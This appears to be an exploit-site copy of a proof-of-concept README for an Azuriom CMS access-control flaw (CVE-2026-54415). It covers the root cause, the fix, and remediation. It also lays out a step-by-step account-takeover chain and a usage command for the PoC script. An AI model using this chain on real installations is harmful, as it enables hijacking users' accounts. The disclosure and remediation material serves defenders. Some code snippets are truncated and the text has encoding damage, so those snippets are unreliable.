Share
## https://sploitus.com/exploit?id=D57038C7-7ED7-56E0-9002-1EBD14909BD6
# CVE-2026-54415 โ€” Azuriom CMS Broken Access Control โ†’ Account Takeover

**Missing authorization on the admin server-management routes in Azuriom CMS ` This PoC is published for defensive and educational purposes against a **patched** version. Only run it against systems you own or are explicitly authorized to test. Upgrade to Azuriom `1.2.11+`.

โœ… **Verified end-to-end against a local Azuriom 1.2.10 instance** โ€” access-control bypass, token minting, confirmed password change + victim login, and the admin-protection boundary.

---

## Root cause

In `routes/admin.php` the entire admin panel is gated by a single `can:admin.access` group, and each sensitive feature is expected to add its own granular `can:admin.*` middleware. Before `1.2.11`, the **server-management routes shipped with no such middleware**:

```php
// routes/admin.php (vulnerable, except('show');
Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
```

Any user who can reach the admin panel at all (`admin.access`) can therefore create servers. There was no `admin.servers` permission at all โ€” it did not exist until the fix.

### The fix (1.2.11)

The vendor **created a new `admin.servers` permission** and wrapped the routes in it:

```php
// routes/admin.php (fixed, 1.2.11)
Route::middleware('can:admin.servers')->group(function () {
    Route::resource('servers', ServerController::class)->except('show');
    Route::post('/servers/{server}/verify/azlink', [ServerController::class, 'verifyAzLink'])->name('servers.verify-azlink');
    Route::post('/servers/default', [ServerController::class, 'changeDefault'])->name('servers.change-default');
});
```

The same commit also added the previously-missing permission checks to the `social-links` and `pages/posts.attachments` routes.

---

## Why creating a server = account takeover

Creating a server generates a 32-char **server token** (`app/Http/Controllers/Admin/ServerController.php`):

```php
$server = new Server([...$request->validated(), 'token' => Str::random(32), ...]);
```

That token authenticates the **AzLink API** (`routes/api.php`), whose `VerifyServerToken` middleware trusts any request carrying a valid `Azuriom-Link-Token` header. AzLink exposes account-management endpoints:

```
POST /api/azlink/password   โ†’ change a user's password by game_id
POST /api/azlink/email      โ†’ change a user's email by game_id
POST /api/azlink/register   โ†’ create users
POST /api/azlink/user/{id}/money/{add,remove,set}
```

`updatePassword` only refuses when the target `isAdmin()` โ€” every **non-admin** account is takeover-able:

```php
public function updatePassword(Request $request) {
    // validates game_id + password
    $user = User::where('game_id', $request->input('game_id'))->firstOrFail();
    if ($user->isAdmin()) { return response()->noContent(); }   // only admins are protected
    $user->update(['password' => $request->input('password')]);
    ...
}
```

### The token requires no reachable game server

Server creation calls `$server->bridge()->verifyLink()` before saving. For the **`mc-azlink`** type this is unconditionally true:

```php
// app/Games/Minecraft/Servers/AzLink.php
public function verifyLink(): bool { return true; }
```

So the attacker supplies any dummy `address`, the server saves anyway, and the fresh token is displayed back in the panel inside the AzLink setup command (`/azlink setup  `).

---

## Exploit chain

```
1. Authenticate as a low-priv admin  (only admin.access โ€” NO admin.servers, which didn't exist)
2. POST /admin/servers   name=x&type=mc-azlink&address=127.0.0.1   โ†’ server saved, token minted
3. GET  /admin/servers/{id}/edit                                   โ†’ read token from setup command
4. POST /api/azlink/password   (header Azuriom-Link-Token: )  game_id=&password=
5. Log in as the victim                                            โ†’ full account takeover
```

---

## Usage

```bash
python3 poc.py \
  --url https://target.example \
  --admin-user lowpriv_admin --admin-pass 'password' \
  --victim-game-id 1001 \
  --new-password 'Pwn3d!TakenOver'
```

The script logs in, mints a server token, extracts it, resets the victim's password over AzLink, and prints the token + result. See `poc.py --help` for all flags. Requires `requests` (`pip install requests`).

---

## Remediation

- **Upgrade to Azuriom `1.2.11` or later.**
- Audit `admin_servers` and revoke any unexpected server tokens.
- Apply least privilege: audit which roles hold `admin.access`.

---

## Disclosure

- **Researcher / Reporter:** Bobur Abdugafforov ([@abdugafforov-bobur](https://github.com/abdugafforov-bobur))
- Assigned by CNA: **TuranSec**
- Published: **2026-06-17**
- Fixed by vendor in `1.2.11`

## References

- Fix commit: https://github.com/Azuriom/Azuriom/commit/4b744bc0dd11f205f5aa053c6db8a949d3f0608e
- Release: https://github.com/Azuriom/Azuriom/releases/tag/v1.2.11
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-54415

## License

MIT โ€” for authorized security testing and research only.